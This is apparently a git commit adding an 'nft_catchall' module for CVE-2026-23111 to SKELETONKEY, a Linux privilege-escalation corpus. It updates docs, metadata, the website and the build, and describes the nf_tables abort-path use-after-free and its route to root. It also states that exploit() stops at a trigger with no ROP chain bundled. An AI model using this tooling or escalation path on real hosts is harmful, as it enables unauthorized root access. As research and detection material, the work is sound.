modules: add nft_catchall (CVE-2026-23111, nf_tables catch-all abort UAF)
release / build (arm64) (push) Waiting to run
release / build (x86_64) (push) Waiting to run
release / build (x86_64-static / musl) (push) Waiting to run
release / build (arm64-static / musl) (push) Waiting to run
release / release (push) Blocked by required conditions

The newest nftables LPE: a use-after-free in the nf_tables transaction-
abort path. An inverted condition (a stray '!') in
nft_map_catchall_activate() makes the abort path process active catch-all
map elements instead of skipping them; a catch-all GOTO element drives a
chain's use-count to zero so a following DELCHAIN frees it while the
catch-all verdict still references it -> UAF, escalatable from an
unprivileged user (userns + nftables) via modprobe_path/selinux_state ROP.
Fixed upstream by f41c5d1; CWE-416, CVSS 7.8; not in CISA KEV. Public
reproduction by FuzzingLabs.

Takes the corpus to 43 modules / 38 CVEs.

🟡 reconstructed trigger, primitive-only, NOT VM-verified — same contract
as nf_tables (CVE-2024-1086). detect() version-gates (catch-all elems
~5.13; Debian backports 6.1.164/6.12.73/6.18.10, 7.0+ inherits) AND
requires unprivileged user_ns clone (else PRECOND_FAIL). exploit() forks
an isolated child, builds a verdict map with a catch-all GOTO element,
provokes an aborting batch to drive the abort-path UAF, observes slabinfo,
and returns EXPLOIT_FAIL — the per-kernel leak + R/W + modprobe_path ROP
is not bundled. kernel_range table verified drift-clean against the live
Debian tracker (the 6.18 branch / 6.18.10 fix is the real forky/sid
backport; the earlier 7.0.10 figure was wrong).

Wired: registry, Makefile, safety rank (35), 6 detect() test rows (version
+ userns gating), CVE_METADATA.json + cve_metadata.c + KEV_CROSSREF.md
(sorted insert, CWE-416/T1068/not-KEV), README + CVES.md + website counts
(43/38) + yellow pill, RELEASE_NOTES v0.9.11, verify-vm target. Credit:
FuzzingLabs + upstream fix f41c5d1. Version 0.9.11.
This commit is contained in:
KaraZajac
2026-06-08 17:42:19 -04:00
parent 050731396d
commit 4d0a0e2443
17 changed files with 880 additions and 31 deletions
+3 -2
View File
@@ -23,14 +23,14 @@ Status legend:
- 🔴 **DEPRECATED** — fully patched everywhere relevant; kept for
historical reference only
**Counts:** 42 modules total covering 37 CVEs; **28 of 37 CVEs
**Counts:** 43 modules total covering 38 CVEs; **28 of 38 CVEs
verified end-to-end in real VMs** via `tools/verify-vm/`. 🔵 0 · ⚪ 0
planned-with-stub · 🔴 0. (One ⚪ row below — CVE-2026-31402 — is a
*candidate* with no module, not counted as a module.)
> **Note on unverified rows:** `vmwgfx` / `dirty_cow` /
> `mutagen_astronomy` / `pintheft` / `vsock_uaf` / `fragnesia` /
> `ptrace_pidfd` / `sudo_host` / `cifswitch` are blocked by their target environment (VMware-only,
> `ptrace_pidfd` / `sudo_host` / `cifswitch` / `nft_catchall` are blocked by their target environment (VMware-only,
> kernel < 4.4, mainline panic, kmod not autoloaded, t64-transition
> libs) or are brand-new this cycle, not by missing code. See
> [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
@@ -96,6 +96,7 @@ root on a host can upstream their kernel's offsets via PR.
| CVE-2026-46333 | ptrace `__ptrace_may_access` dumpable-race → `pidfd_getfd` credential-fd theft | LPE (steal a root-opened fd / authenticated channel from a process dropping privileges) | mainline 2026-05-14 (Debian backports 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7) | `ptrace_pidfd` | 🟡 | **Qualys TRU disclosure (2026-05-20), exploit not yet VM-verified.** The `__ptrace_may_access` logic flaw leaves a process *dropping* privileges briefly reachable past its `dumpable` boundary; `pidfd_getfd(2)` rides that window. detect() is version-pinned with a predates-gate at `pidfd_getfd`'s 5.6 introduction. exploit() spawns a setuid victim (chage / pkexec / ssh-keysign), `pidfd_open()`s it and sweeps `pidfd_getfd()` across its descriptor table during the credential-drop window, reporting any uid-0-owned fd captured from a non-root context — honest `EXPLOIT_FAIL` without a euid-0 witness; the target-specific full root-pop is not bundled until VM-verified. Arch-agnostic (descriptor theft, no shellcode). `--mitigate` sets `kernel.yama.ptrace_scope=2`; `--cleanup` reverts it. Credit: Qualys TRU. |
| CVE-2025-32462 | sudo `-h`/`--host` policy bypass (Stratascale) | LPE (userspace; abuse a host-restricted sudoers rule for local root) | sudo 1.9.17p1 (2025-06-30) | `sudo_host` | 🟢 | **Stratascale CRU disclosure (Rich Mirch); sibling of `sudo_chwoot`.** sudo's `-h`/`--host` option — meant only to pair with `-l` — was honored when running a command, so a sudoers rule scoped to a host other than the current machine (and not ALL) is usable via `sudo -h <host> <cmd>`. Affects sudo 1.8.8 → 1.9.17p0; fixed 1.9.17p1. CWE-863, CVSS 8.8; not in KEV. detect() version-gates; exploit() finds an abusable host-restricted rule in readable sudoers (or `SKELETONKEY_SUDO_HOST`), witnesses with `sudo -n -h <host> id -u`, and pops a root shell only on a uid-0 witness — never fabricates root. Structural (no offsets/race); arch-agnostic. Most relevant to fleet-wide / LDAP / SSSD sudoers. Credit: Rich Mirch / Stratascale. |
| CVE-2026-46243 | CIFSwitch — `cifs.spnego` key type trusts userspace-forged authority fields | LPE (coerce root `cifs.upcall` into loading an attacker NSS module) | fixed 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10 (Debian backports of `3da1fdf4efbc`, mainline 7.1-rc5) | `cifswitch` | 🟡 | **Asim Manizada disclosure (2026-05-28), public PoC; detect() + add_key primitive VM-verified on Ubuntu 24.04 / 6.8.0-117 (QEMU/HVF, 2026-06-08), full chain + patched-kernel discriminator pending.** ~19-year-old logic flaw in `fs/smb/client/cifs_spnego.c`: the `cifs.spnego` key description carries authority-bearing fields (`pid`/`uid`/`creduid`/`upcall_target`) that root `cifs.upcall` trusts as kernel-originating, but userspace can create such keys via `add_key(2)`/`request_key(2)`. With user+mount namespace tricks, an unprivileged user makes `cifs.upcall` load a malicious NSS `.so` as root. CWE-20; not in KEV. Preconditions: `cifs` module + `cifs-utils` (`cifs.upcall`) + `cifs.spnego` request-key rule (override the probe via `SKELETONKEY_CIFS_ASSUME_PRESENT=1/0`). detect() version-gates and PRECOND_FAILs when the cifs userspace path is absent. exploit() fires only the non-destructive primitive — `add_key(2)` of a forged-but-benign `cifs.spnego` key (no upcall, loads nothing), revoked immediately — and returns honest `EXPLOIT_FAIL` without a euid-0 witness; the namespace+NSS root-pop is not bundled until VM-verified. Structural; arch-agnostic. `--mitigate` blocklists the `cifs` module; `--cleanup` reverts. Credit: Asim Manizada. |
| CVE-2026-23111 | nf_tables `nft_map_catchall_activate` abort-path UAF (inverted `!`) | LPE (unprivileged userns + nftables → chain UAF → kernel R/W → root) | fixed 6.1.164 / 6.12.73 / 6.18.10 (Debian backports of `f41c5d1`); 5.10 branch still unfixed | `nft_catchall` | 🟡 | **Public reproduction + analysis by FuzzingLabs; reported via the kernel security process. Reconstructed trigger, not yet VM-verified.** A stray `!` in `nft_map_catchall_activate()` makes the transaction-abort path process *active* catch-all map elements instead of skipping them; a catch-all GOTO element drives a chain's use-count to zero so a following DELCHAIN frees it while still referenced → UAF, escalatable via modprobe_path/selinux_state ROP. CWE-416, CVSS 7.8; not in KEV. One more UAF in the corpus's most-covered subsystem; shipped on the same contract as `nf_tables` (CVE-2024-1086). detect() version-gates (catch-all elems arrived ~5.13) AND requires unprivileged user_ns clone (else PRECOND_FAIL). exploit() forks an isolated child that builds a verdict map with a catch-all GOTO element and provokes an aborting batch to drive the abort-path UAF, observes slabinfo, and returns `EXPLOIT_FAIL` — the per-kernel leak + R/W + ROP root-pop is NOT bundled and the trigger is reconstructed from public analysis, not VM-verified. x86_64. Mitigate: upgrade, or `kernel.unprivileged_userns_clone=0`. Credit: FuzzingLabs (public repro) + upstream fix `f41c5d1`. |
## Operations supported per module
+6 -1
View File
@@ -237,6 +237,11 @@ CIW_DIR := modules/cifswitch_cve_2026_46243
CIW_SRCS := $(CIW_DIR)/skeletonkey_modules.c
CIW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CIW_SRCS))
# CVE-2026-23111 nft_catchall — nf_tables nft_map_catchall_activate abort UAF (FuzzingLabs repro)
NCA_DIR := modules/nft_catchall_cve_2026_23111
NCA_SRCS := $(NCA_DIR)/skeletonkey_modules.c
NCA_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(NCA_SRCS))
# Top-level dispatcher
TOP_OBJ := $(BUILD)/skeletonkey.o
@@ -250,7 +255,7 @@ MODULE_OBJS := $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) \
$(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS) \
$(SCHW_OBJS) $(UDB_OBJS) $(PTH_OBJS) \
$(MUT_OBJS) $(SRN_OBJS) $(TIO_OBJS) $(VSK_OBJS) $(PIP_OBJS) \
$(PPF_OBJS) $(SUH_OBJS) $(CIW_OBJS)
$(PPF_OBJS) $(SUH_OBJS) $(CIW_OBJS) $(NCA_OBJS)
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS)
+17 -13
View File
@@ -5,7 +5,7 @@
[![Modules](https://img.shields.io/badge/CVEs-28%20VM--verified%20%2F%2036-brightgreen.svg)](docs/VERIFICATIONS.jsonl)
[![Platform: Linux](https://img.shields.io/badge/platform-linux-lightgrey.svg)](#)
> **One curated binary. 42 Linux LPE modules covering 37 CVEs from 2016 → 2026.
> **One curated binary. 43 Linux LPE modules covering 38 CVEs from 2016 → 2026.
> Every year 2016 → 2026 covered. 28 confirmed end-to-end against real Linux
> VMs via `tools/verify-vm/`. Detection rules in the box. One command picks
> the safest one and runs it.**
@@ -45,8 +45,8 @@ for every CVE in the bundle — same project for red and blue teams.
## Corpus at a glance
**42 modules covering 37 distinct CVEs** across the 2016 → 2026 LPE
timeline. **28 of the 37 CVEs have been empirically verified** in real
**43 modules covering 38 distinct CVEs** across the 2016 → 2026 LPE
timeline. **28 of the 38 CVEs have been empirically verified** in real
Linux VMs via `tools/verify-vm/`; the 8 still-pending entries are
blocked by their target environment (legacy hypervisor, EOL kernel, or
the t64-transition libc rollout) or are brand-new additions awaiting a
@@ -68,7 +68,7 @@ af_packet · af_packet2 · af_unix_gc · cls_route4 · fuse_legacy ·
nf_tables · nft_set_uaf · nft_fwd_dup · nft_payload ·
netfilter_xtcompat · stackrot · sudo_samedit · sequoia · vmwgfx
### Empirical verification (28 of 37 CVEs)
### Empirical verification (28 of 38 CVEs)
Records in [`docs/VERIFICATIONS.jsonl`](docs/VERIFICATIONS.jsonl) prove
each verdict against a known-target VM. Coverage:
@@ -137,7 +137,7 @@ uid=1000(kara) gid=1000(kara) groups=1000(kara)
$ skeletonkey --auto --i-know
[*] auto: host=demo distro=ubuntu/24.04 kernel=5.15.0-56-generic arch=x86_64
[*] auto: active probes enabled — brief /tmp file touches and fork-isolated namespace probes
[*] auto: scanning 42 modules for vulnerabilities...
[*] auto: scanning 43 modules for vulnerabilities...
[+] auto: dirty_pipe VULNERABLE (safety rank 90)
[+] auto: cgroup_release_agent VULNERABLE (safety rank 98)
[+] auto: pwnkit VULNERABLE (safety rank 100)
@@ -206,14 +206,16 @@ also compile (modules with Linux-only headers stub out gracefully).
## Status
**v0.9.10 cut 2026-06-08.** 42 modules across 37 CVEs — **every
year 2016 → 2026 now covered**. Newest: `cifswitch` (CVE-2026-46243,
**v0.9.11 cut 2026-06-08.** 43 modules across 38 CVEs — **every
year 2016 → 2026 now covered**. Newest: `nft_catchall` (CVE-2026-23111,
the nf_tables `nft_map_catchall_activate` abort-path UAF — an inverted
condition frees a chain still referenced by a catch-all GOTO map element;
public reproduction by FuzzingLabs), `cifswitch` (CVE-2026-46243,
Asim Manizada's "CIFSwitch" — the `cifs.spnego` key type trusts
userspace-forged authority fields, coercing the root `cifs.upcall` helper
into loading an attacker NSS module as root), `ptrace_pidfd`
into loading an attacker NSS module as root), and `ptrace_pidfd`
(CVE-2026-46333, Qualys's `__ptrace_may_access` / `pidfd_getfd`
credential-steal), and `sudo_host` (CVE-2025-32462, Stratascale's sudo
`--host` policy bypass).
credential-steal).
v0.9.0 added 5 gap-fillers
(`mutagen_astronomy` / `sudo_runas_neg1` / `tioscpgrp` / `vsock_uaf` /
`nft_pipapo`); v0.8.0 added 3 (`sudo_chwoot` / `udisks_libblockdev` /
@@ -243,19 +245,21 @@ Reliability + accuracy work in v0.7.x:
trace, OPSEC footprint, detection-rule coverage, verified-on
records. Paste-into-ticket ready.
- **CVE metadata pipeline** (`tools/refresh-cve-metadata.py`) — fetches
CISA KEV catalog + NVD CWE; 13 of 37 modules cover KEV-listed CVEs.
CISA KEV catalog + NVD CWE; 13 of 38 modules cover KEV-listed CVEs.
- **151 detection rules** across auditd / sigma / yara / falco; one
command exports the corpus to your SIEM.
- `--auto` upgrades: per-detect 15s timeout, fork-isolated detect +
exploit, structured verdict table, scan summary, `--dry-run`.
Not yet verified (9 of 37 CVEs): `vmwgfx` (VMware-guest only),
Not yet verified (10 of 38 CVEs): `vmwgfx` (VMware-guest only),
`dirty_cow` (needs ≤ 4.4 kernel), `mutagen_astronomy` (mainline
4.14.70 panics on Ubuntu 18.04 rootfs — needs CentOS 6 / Debian 7),
`pintheft` + `vsock_uaf` (kernel modules not autoloaded on common
Vagrant boxes), `fragnesia` (mainline 7.0.5 .debs need t64-transition
libs from Ubuntu 24.04+ / Debian 13+), `ptrace_pidfd` + `sudo_host`
+ `cifswitch` (brand-new this cycle, sweep pending). Rationale in
+ `cifswitch` (cifswitch detect + primitive VM-verified; full chain
pending) + `nft_catchall` (reconstructed kernel-UAF trigger, not
VM-verified). Rationale in
[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules and
+8
View File
@@ -260,6 +260,14 @@ const struct cve_metadata cve_metadata_table[] = {
.in_kev = false,
.kev_date_added = "",
},
{
.cve = "CVE-2026-23111",
.cwe = "CWE-416",
.attack_technique = "T1068",
.attack_subtechnique = NULL,
.in_kev = false,
.kev_date_added = "",
},
{
.cve = "CVE-2026-31635",
.cwe = "CWE-130",
+1
View File
@@ -58,6 +58,7 @@ void skeletonkey_register_nft_pipapo(void);
void skeletonkey_register_ptrace_pidfd(void);
void skeletonkey_register_sudo_host(void);
void skeletonkey_register_cifswitch(void);
void skeletonkey_register_nft_catchall(void);
/* Call every skeletonkey_register_<family>() above in canonical order.
* Single source of truth so the main binary and the test binary stay
+1
View File
@@ -54,4 +54,5 @@ void skeletonkey_register_all_modules(void)
skeletonkey_register_ptrace_pidfd();
skeletonkey_register_sudo_host();
skeletonkey_register_cifswitch();
skeletonkey_register_nft_catchall();
}
+9
View File
@@ -278,6 +278,15 @@
"in_kev": false,
"kev_date_added": ""
},
{
"cve": "CVE-2026-23111",
"module_dir": "nft_catchall_cve_2026_23111",
"cwe": "CWE-416",
"attack_technique": "T1068",
"attack_subtechnique": null,
"in_kev": false,
"kev_date_added": ""
},
{
"cve": "CVE-2026-31635",
"module_dir": "dirtydecrypt_cve_2026_31635",
+2 -1
View File
@@ -4,7 +4,7 @@ Which SKELETONKEY modules cover CVEs that CISA has observed exploited
in the wild per the Known Exploited Vulnerabilities catalog.
Refreshed via `tools/refresh-cve-metadata.py`.
**13 of 37 modules cover KEV-listed CVEs.**
**13 of 38 modules cover KEV-listed CVEs.**
## In KEV (prioritize patching)
@@ -50,6 +50,7 @@ and are technically reachable. "Not in KEV" is not the same as
| CVE-2024-50264 | CWE-416 | `vsock_uaf_cve_2024_50264` |
| CVE-2025-32462 | CWE-863 | `sudo_host_cve_2025_32462` |
| CVE-2025-6019 | CWE-250 | `udisks_libblockdev_cve_2025_6019` |
| CVE-2026-23111 | CWE-416 | `nft_catchall_cve_2026_23111` |
| CVE-2026-31635 | CWE-130 | `dirtydecrypt_cve_2026_31635` |
| CVE-2026-41651 | CWE-367 | `pack2theroot_cve_2026_41651` |
| CVE-2026-43494 | ? | `pintheft_cve_2026_43494` |
+33
View File
@@ -1,3 +1,36 @@
## SKELETONKEY v0.9.11 — new LPE module: nft_catchall (CVE-2026-23111)
Adds **`nft_catchall` — CVE-2026-23111**, taking the corpus to **43
modules / 38 CVEs**. The newest nftables LPE: a **use-after-free** in the
nf_tables transaction-abort path. `nft_map_catchall_activate()` carries an
inverted condition (a stray `!`) so the abort path processes *active*
catch-all map elements instead of skipping them — a catch-all GOTO element
drives a chain's use-count to zero, and a following `DELCHAIN` frees the
chain while the catch-all verdict still references it → UAF. From an
unprivileged user (user namespaces + nftables) it escalates to root via a
`modprobe_path` / `selinux_state` ROP. Fixed upstream by commit `f41c5d1`;
CWE-416, CVSS 7.8; not in CISA KEV. Public reproduction + analysis by
**FuzzingLabs**.
🟡 **Trigger (reconstructed) — primitive-only, not VM-verified.** This is
one more UAF in the corpus's most-covered subsystem (`nf_tables`,
`nft_set_uaf`, `nft_payload`, `nft_pipapo`, …) and ships on the same
contract as `nf_tables` (CVE-2024-1086): a fork-isolated trigger that
fires the bug class and stops. `detect()` version-gates against the
Debian backports (upstream thresholds 6.1.164 / 6.12.73 / 6.18.10;
catch-all set elements arrived ~5.13) **and** requires unprivileged
user-namespace clone — a vulnerable kernel with userns locked down is
`PRECOND_FAIL`. `exploit()` builds a verdict map with a catch-all GOTO
element and provokes an aborting batch transaction to drive the abort-path
UAF, observes slabinfo, and returns `EXPLOIT_FAIL`. The per-kernel leak +
arbitrary-R/W + `modprobe_path` ROP is **not** bundled (per-build offsets
refused), and the trigger is reconstructed from the public analysis rather
than VM-verified — it never claims root it did not get. Ships auditd +
sigma + falco rules, ATT&CK T1068 + CWE-416 metadata, six new `detect()`
unit-test rows (version + userns gating), credits FuzzingLabs + the
upstream fix in `NOTICE.md`, and a verify-vm target (sweep pending). Not
VM-verified, so the verified count stays 28 of 38.
## SKELETONKEY v0.9.10 — new LPE module: cifswitch (CVE-2026-46243)
Adds **`cifswitch` — CVE-2026-46243 "CIFSwitch"** (Asim Manizada,
+14 -13
View File
@@ -4,9 +4,9 @@
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>SKELETONKEY — Linux LPE corpus, VM-verified, SOC-ready detection</title>
<meta name="description" content="One binary. 42 Linux privilege-escalation modules from 2016 to 2026. 28 of 37 CVEs empirically verified in real Linux VMs. 13 KEV-listed. 151 detection rules across auditd/sigma/yara/falco. MITRE ATT&CK and CWE annotated. --explain gives operator briefings.">
<meta name="description" content="One binary. 43 Linux privilege-escalation modules from 2016 to 2026. 28 of 38 CVEs empirically verified in real Linux VMs. 13 KEV-listed. 151 detection rules across auditd/sigma/yara/falco. MITRE ATT&CK and CWE annotated. --explain gives operator briefings.">
<meta property="og:title" content="SKELETONKEY — Linux LPE corpus, VM-verified">
<meta property="og:description" content="42 Linux LPE modules; 28 of 37 CVEs empirically verified in real VMs. 151 detection rules. ATT&CK + CWE + KEV annotated.">
<meta property="og:description" content="43 Linux LPE modules; 28 of 38 CVEs empirically verified in real VMs. 151 detection rules. ATT&CK + CWE + KEV annotated.">
<meta property="og:type" content="website">
<meta property="og:url" content="https://karazajac.github.io/SKELETONKEY/">
<meta property="og:image" content="https://karazajac.github.io/SKELETONKEY/og.png">
@@ -56,14 +56,14 @@
<div class="container hero-inner">
<div class="hero-eyebrow">
<span class="dot dot-pulse"></span>
v0.9.10 — released 2026-06-08
v0.9.11 — released 2026-06-08
</div>
<h1 class="hero-title">
<span class="display-wordmark">SKELETONKEY</span>
</h1>
<p class="hero-tag">
One binary. <strong>42 Linux LPE modules</strong> covering 37 CVEs —
<strong>every year 2016 → 2026</strong>. 28 of 34 confirmed against
One binary. <strong>43 Linux LPE modules</strong> covering 38 CVEs —
<strong>every year 2016 → 2026</strong>. 28 of 38 confirmed against
real Linux kernels in VMs. SOC-ready detection rules in four SIEM
formats. MITRE ATT&amp;CK + CWE + CISA KEV annotated.
<span class="hero-tag-pop">--explain gives a one-page operator briefing per CVE.</span>
@@ -81,9 +81,9 @@
</div>
<div class="stats-row" id="stats-row">
<div class="stat-chip"><span class="num" data-target="41">0</span><span>modules</span></div>
<div class="stat-chip"><span class="num" data-target="43">0</span><span>modules</span></div>
<div class="stat-chip stat-vfy"><span class="num" data-target="28">0</span><span>✓ VM-verified</span></div>
<div class="stat-chip stat-kev"><span class="num" data-target="12">0</span><span>★ in CISA KEV</span></div>
<div class="stat-chip stat-kev"><span class="num" data-target="13">0</span><span>★ in CISA KEV</span></div>
<div class="stat-chip"><span class="num" data-target="151">0</span><span>detection rules</span></div>
</div>
@@ -227,7 +227,7 @@ uid=0(root) gid=0(root)</pre>
<div class="bento-icon"></div>
<h3>CISA KEV prioritized</h3>
<p>
13 of 37 CVEs in the corpus are in CISA's Known Exploited
13 of 38 CVEs in the corpus are in CISA's Known Exploited
Vulnerabilities catalog — actively exploited in the wild.
Refreshed on demand via <code>tools/refresh-cve-metadata.py</code>.
</p>
@@ -294,7 +294,7 @@ uid=0(root) gid=0(root)</pre>
<code>tools/verify-vm/</code> spins up known-vulnerable
kernels (stock distro + mainline from kernel.ubuntu.com), runs
<code>--explain --active</code> per module, and records the
verdict. <strong>28 of 37 CVEs</strong> confirmed against
verdict. <strong>28 of 38 CVEs</strong> confirmed against
real Linux across Ubuntu 18.04 / 20.04 / 22.04 + Debian 11 / 12
+ mainline 5.4.0-26 / 5.15.5 / 6.1.10 / 6.19.7. Records baked into the binary;
<code>--list</code> shows ✓ per module.
@@ -309,7 +309,7 @@ uid=0(root) gid=0(root)</pre>
<div class="container">
<div class="section-head">
<span class="section-tag">corpus</span>
<h2>37 CVEs across 10 years. ★ = actively exploited (CISA KEV).</h2>
<h2>38 CVEs across 10 years. ★ = actively exploited (CISA KEV).</h2>
</div>
<h3 class="corpus-h" data-color="green">
@@ -357,6 +357,7 @@ uid=0(root) gid=0(root)</pre>
<span class="pill yellow">vmwgfx</span>
<span class="pill yellow">ptrace_pidfd</span>
<span class="pill yellow">cifswitch</span>
<span class="pill yellow">nft_catchall</span>
</div>
<p class="corpus-foot">
@@ -417,7 +418,7 @@ uid=0(root) gid=0(root)</pre>
<div class="audience-icon">🎓</div>
<h3>Researchers / CTF</h3>
<p>
37 CVEs, 10-year span, each with the original PoC author
38 CVEs, 10-year span, each with the original PoC author
credited and the kernel-range citation auditable.
<code>--explain</code> shows the reasoning chain; detection
rules let you practice both sides. Source is the documentation.
@@ -514,7 +515,7 @@ uid=0(root) gid=0(root)</pre>
<div class="tl-col tl-shipped">
<div class="tl-tag">shipped</div>
<ul>
<li><strong>28 of 37 CVEs empirically verified</strong> in real Linux VMs</li>
<li><strong>28 of 38 CVEs empirically verified</strong> in real Linux VMs</li>
<li><strong>kernel.ubuntu.com/mainline/</strong> kernel fetch path — unblocks pin-not-in-apt targets</li>
<li>Per-module <code>verified_on[]</code> table baked into the binary</li>
<li><strong>--explain mode</strong> — one-page operator briefing per CVE</li>
@@ -601,7 +602,7 @@ uid=0(root) gid=0(root)</pre>
who found the bugs.
</p>
<p class="footer-meta">
v0.9.10 · MIT · <a href="https://github.com/KaraZajac/SKELETONKEY">github.com/KaraZajac/SKELETONKEY</a>
v0.9.11 · MIT · <a href="https://github.com/KaraZajac/SKELETONKEY">github.com/KaraZajac/SKELETONKEY</a>
</p>
</div>
</footer>
@@ -0,0 +1,62 @@
# nft_catchall — CVE-2026-23111
An nf_tables use-after-free reachable from an unprivileged user: an
inverted condition in `nft_map_catchall_activate()` mishandles catch-all
map elements on transaction abort, freeing a chain that a catch-all GOTO
verdict still references.
## The bug
nftables *maps* can hold a **catch-all** element — a default that matches
when no other element does — and in a verdict map that element carries a
GOTO/JUMP to a chain. `nft_map_catchall_activate()` runs during the
**abort** phase of a netlink transaction to re-activate elements that a
rolled-back batch had touched. A single inverted `!` makes it operate on
*active* catch-all elements instead of skipping them, so the referenced
chain's use-count is driven to zero; a subsequent `DELCHAIN` frees the
chain while the catch-all verdict still points at it → **use-after-free**.
Chaining a kernel-address leak, arbitrary R/W, and a ROP over
`modprobe_path` / `selinux_state` turns the UAF into root — all reachable
by an unprivileged user who has `CONFIG_USER_NS` to gain `CAP_NET_ADMIN`
over a private network namespace.
## Affected range
| | |
|---|---|
| Vulnerable path introduced | ~5.13 (catch-all set elements) |
| Fixed upstream | commit `f41c5d1…` (remove the inverted `!`) |
| Debian backports | 6.1.164 (bookworm) · 6.12.73 (trixie) · 6.18.10 (forky·sid) |
| Table thresholds | 6.1.164 · 6.12.73 · 6.18.10 (≤ Debian → drift-clean) |
| NVD class | CWE-416 (Use After Free), CVSS 7.8 |
| CISA KEV | no |
The 5.10 (bullseye) branch is still unfixed at time of writing →
version-only VULNERABLE there.
## Trigger / detection
`detect()` returns `OK` below ~5.13 or for patched kernels, `PRECOND_FAIL`
when the kernel is vulnerable but unprivileged user-namespace clone is
denied (exploit unreachable), and `VULNERABLE` when the version is in
range and userns is allowed.
`exploit()` forks an isolated child that enters `unshare(USER|NET)`, opens
`NETLINK_NETFILTER`, builds a verdict map with a catch-all GOTO element,
and sends an aborting batch to drive the abort-path UAF; it observes
`nft_chain` / `kmalloc-cg-256` slabinfo and returns `EXPLOIT_FAIL`
(primitive-only). The full leak + R/W + ROP root-pop is **not** bundled,
and the trigger is reconstructed from public analysis, not VM-verified.
## Fix / mitigation
Upgrade the kernel. As a host hardening stopgap, deny unprivileged
user-namespace clone (`sysctl kernel.unprivileged_userns_clone=0`, or the
AppArmor `apparmor_restrict_unprivileged_userns` toggle) — that closes the
unprivileged path even on a kernel-vulnerable host.
## Credit
Upstream fix `f41c5d1…`; public reproduction by FuzzingLabs. See
`NOTICE.md`.
@@ -0,0 +1,62 @@
# NOTICE — nft_catchall (CVE-2026-23111)
## Vulnerability
**CVE-2026-23111** — a **use-after-free** in the Linux kernel `nf_tables`
(netfilter) transaction-abort path. `nft_map_catchall_activate()` carries
an **inverted condition** (a stray `!`): during a transaction *abort* it
processes *active* catch-all set elements instead of skipping them. A
catch-all element in an nftables **map** holds a verdict (GOTO/JUMP)
referencing a chain; the wrong (de)activation drives the chain's
use-count to zero, so a following `DELCHAIN` frees the chain while the
catch-all verdict element still references it → UAF.
From an **unprivileged** local user — via **user namespaces + nftables**
(needs `CONFIG_USER_NS` + `CONFIG_NF_TABLES`) — the UAF is escalatable to
root: leak a kernel address, obtain arbitrary R/W, ROP over
`modprobe_path` / `selinux_state`.
NVD class: **CWE-416** (Use After Free). CVSS v3.1 **7.8 HIGH**
(`AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`). Affects current distros (Debian
bookworm/trixie, Ubuntu 22.04/24.04). **Not** in CISA KEV.
The fix removed a single character (the inverted `!`).
## Research credit
- **Fixed upstream** by commit
`f41c5d151078c5348271ffaf8e7410d96f2d82f8` ("netfilter: nf_tables: fix
… catch-all … activate"); reported and fixed through the Linux kernel
security process (NVD lists the source as `kernel.org`; no public
individual reporter name in the advisory).
- **Public reproduction + analysis** by **FuzzingLabs**
<https://fuzzinglabs.com/repro-cve-2026-23111/> — which the module's
trigger reconstruction is informed by.
- Debian security tracker (authoritative backport versions):
<https://security-tracker.debian.org/tracker/CVE-2026-23111> —
bookworm 6.1.164 / trixie 6.12.73 / forky·sid 6.18.10 (bullseye/5.10
still unfixed at time of writing).
All credit for finding and analysing this bug belongs to the upstream
reporter and to FuzzingLabs for the public write-up. SKELETONKEY is the
bundling and bookkeeping layer only.
## SKELETONKEY role
🟡 **Trigger (reconstructed) — primitive-only, not VM-verified.** This is
one more UAF in the corpus's most-covered subsystem (`nf_tables`,
`nft_set_uaf`, `nft_payload`, `nft_pipapo`, …), shipped on the same
contract as `nf_tables` (CVE-2024-1086): a fork-isolated trigger that
fires the bug class and stops.
`detect()` version-gates against the Debian backports above (upstream
thresholds 6.1.164 / 6.12.73 / 6.18.10; catch-all set elements arrived in
~5.13, so older kernels lack the path) **and** requires unprivileged
user-namespace clone — a vulnerable kernel with userns locked down is
`PRECOND_FAIL`. `exploit()` builds a verdict map with a catch-all GOTO
element and provokes an aborting batch transaction to drive the
abort-path UAF, observes slabinfo, and returns `EXPLOIT_FAIL`. The
per-kernel leak + arbitrary-R/W + `modprobe_path` ROP that lands a root
shell is **not** bundled (per-build offsets refused), and the trigger is
reconstructed from the public analysis rather than VM-verified — it never
claims root it did not get.
@@ -0,0 +1,589 @@
/*
* nft_catchall_cve_2026_23111 — SKELETONKEY module
*
* CVE-2026-23111 — a use-after-free in the Linux kernel's nf_tables
* (netfilter) transaction-abort path. `nft_map_catchall_activate()`
* carries an inverted condition (a stray `!`): on transaction abort it
* processes *active* catch-all set elements instead of skipping them.
* A catch-all element in an nftables *map* holds a verdict (GOTO/JUMP)
* that references a chain; the wrong (de)activation lets the chain's
* use-count reach zero so a following DELCHAIN frees it while the
* catch-all verdict element still points at it → UAF. From an
* unprivileged user (via user namespaces + nftables) this is escalatable
* to root: leak a kernel address, win arbitrary R/W, ROP over
* modprobe_path / selinux_state.
*
* CWE-416 (Use After Free). CVSS 7.8 (AV:L/AC:L/PR:L/UI:N/C:H/I:H/A:H).
* Fixed upstream by commit f41c5d151078c5348271ffaf8e7410d96f2d82f8
* ("remove one exclamation mark"). Public reproduction + analysis by
* FuzzingLabs. NOT in CISA KEV.
*
* STATUS: 🟡 TRIGGER (reconstructed) — primitive-only, NOT VM-verified.
* This is one more UAF in the most-covered subsystem in the corpus
* (see nf_tables / nft_set_uaf / nft_payload / nft_pipapo / ...), and
* like nf_tables (CVE-2024-1086) it is shipped as a fork-isolated
* trigger that fires the bug class and STOPS. detect() version-gates
* against the Debian-tracked backports below and additionally requires
* unprivileged user-namespace clone (the bug is unreachable to an
* unprivileged user without it). exploit() builds a map with a
* catch-all GOTO element and provokes a failed (aborting) batch
* transaction to drive the abort-path UAF, observes slabinfo, and
* returns EXPLOIT_FAIL — the per-kernel leak + arbitrary-R/W + ROP that
* lands a root shell is NOT bundled (per-build offsets refused), and
